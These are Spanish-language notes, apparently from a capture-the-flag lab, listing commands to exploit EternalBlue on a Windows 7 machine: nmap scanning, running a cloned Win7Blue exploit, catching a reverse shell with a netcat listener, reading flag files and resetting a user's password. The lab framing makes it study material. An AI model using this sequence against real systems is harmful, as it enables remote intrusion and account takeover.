Comandos para vulnerabilidad Eternal

Abrimos consola

- netdiscover -r (range) (IP/24)
  - *Descubrimos que ip sale que no es usual
- nmap -p- --min-rate 5000 -sS -vvv -n -Pn (IP)
- nmap --script "vuln" (IP)
  - *Encuentras la vulnerabilidad.
  - *Buscas en internet información
  - *Buscas eternalblue exploit github
- cd /home/user/Desktop
- git clone (código del github)
  - *Das permiso con un:
- cd /home/user/Desktop/Win7Blue
- chmod +x Win7Blue
- ./Win7Blue
  - $:1
  - RHOST: (Ip remota u del objeto)
- ./Win7Blue
  - $: **4** (o 3, dependiendo de la arquitectura del sistema)
  - RHOST: (ip remota u objetivo)
  - LHOST(ip local, ya sea kali o host usado)
  - LPORT: (puerto en escucha de la consola abierta)
  - *Darle a enter*

  (***CONSOLA A PARTE:***)
- nc -nlvp 443
  - nc: *netcut*
  - -n : *evitar resoluciones de dns*
  - l: *indica a netcut que tiene que trabajar en modo escucha (l para listening)*
  - v: *verbose*
  - p: *puerto*

CUANDO SE ABRA EL SHELL:
- whoami
- dir
- cd C: \ Users

- cd C:\Users\MIKE
- cd C:\Users\MIKE\Desktop
- dir
- type root.txt
- type user.txt
- net user mike 123456789